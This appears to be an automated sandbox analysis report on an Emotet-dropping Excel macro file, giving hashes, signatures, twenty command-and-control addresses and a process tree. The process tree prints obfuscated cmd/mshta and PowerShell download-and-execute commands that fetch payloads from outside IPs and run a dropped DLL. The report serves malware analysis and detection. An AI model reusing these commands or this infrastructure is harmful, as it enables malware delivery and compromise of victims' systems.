Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20/01/2022, 13:13

General

  • Target

    673603229988382.xlsm

  • Size

    115KB

  • MD5

    0f8a9bd847e673ccf5adb13ce6fe5979

  • SHA1

    c84e4613c708eb3ef981218e278149993a3ac3a2

  • SHA256

    7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904

  • SHA512

    646db1fe7664f87c54e41c5fd99a082073a42bb9329b44e386045c53db2f0ae35e4a148279184e998cf637a366c57afda413054589456ecf9ae581fbd14a5647

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\673603229988382.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:948
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:484
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:820
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:1804
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2020
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1704
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                PID:1948
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1684
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qpjfnzhdf\tnpprwe.xyz",BKzhyLMjYh
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1280
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qpjfnzhdf\tnpprwe.xyz",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1964

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/484-58-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp

            Filesize

            8KB

          • memory/948-57-0x0000000075B51000-0x0000000075B53000-memory.dmp

            Filesize

            8KB

          • memory/948-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/948-55-0x00000000711B1000-0x00000000711B3000-memory.dmp

            Filesize

            8KB

          • memory/948-54-0x000000002F861000-0x000000002F864000-memory.dmp

            Filesize

            12KB

          • memory/1280-88-0x0000000000270000-0x0000000000298000-memory.dmp

            Filesize

            160KB

          • memory/1684-86-0x0000000002820000-0x0000000002848000-memory.dmp

            Filesize

            160KB

          • memory/1684-75-0x00000000003B0000-0x00000000003D8000-memory.dmp

            Filesize

            160KB

          • memory/1684-77-0x0000000001C00000-0x0000000001C28000-memory.dmp

            Filesize

            160KB

          • memory/1684-81-0x0000000001ED0000-0x0000000001EF8000-memory.dmp

            Filesize

            160KB

          • memory/1684-83-0x0000000002760000-0x0000000002788000-memory.dmp

            Filesize

            160KB

          • memory/1964-107-0x0000000002970000-0x0000000002998000-memory.dmp

            Filesize

            160KB

          • memory/1964-91-0x00000000001D0000-0x00000000001F8000-memory.dmp

            Filesize

            160KB

          • memory/1964-93-0x00000000004A0000-0x00000000004C8000-memory.dmp

            Filesize

            160KB

          • memory/1964-95-0x00000000005A0000-0x00000000005C8000-memory.dmp

            Filesize

            160KB

          • memory/1964-101-0x0000000002660000-0x0000000002688000-memory.dmp

            Filesize

            160KB

          • memory/1964-103-0x00000000027C0000-0x00000000027E8000-memory.dmp

            Filesize

            160KB

          • memory/1964-105-0x0000000002860000-0x0000000002888000-memory.dmp

            Filesize

            160KB

          • memory/1964-109-0x00000000029D0000-0x00000000029F8000-memory.dmp

            Filesize

            160KB

          • memory/1964-113-0x00000000028C0000-0x00000000028E8000-memory.dmp

            Filesize

            160KB

          • memory/1964-112-0x00000000028C1000-0x00000000028E5000-memory.dmp

            Filesize

            144KB

          • memory/2020-63-0x0000000002430000-0x000000000307A000-memory.dmp

            Filesize

            12.3MB

          • memory/2020-64-0x0000000002430000-0x000000000307A000-memory.dmp

            Filesize

            12.3MB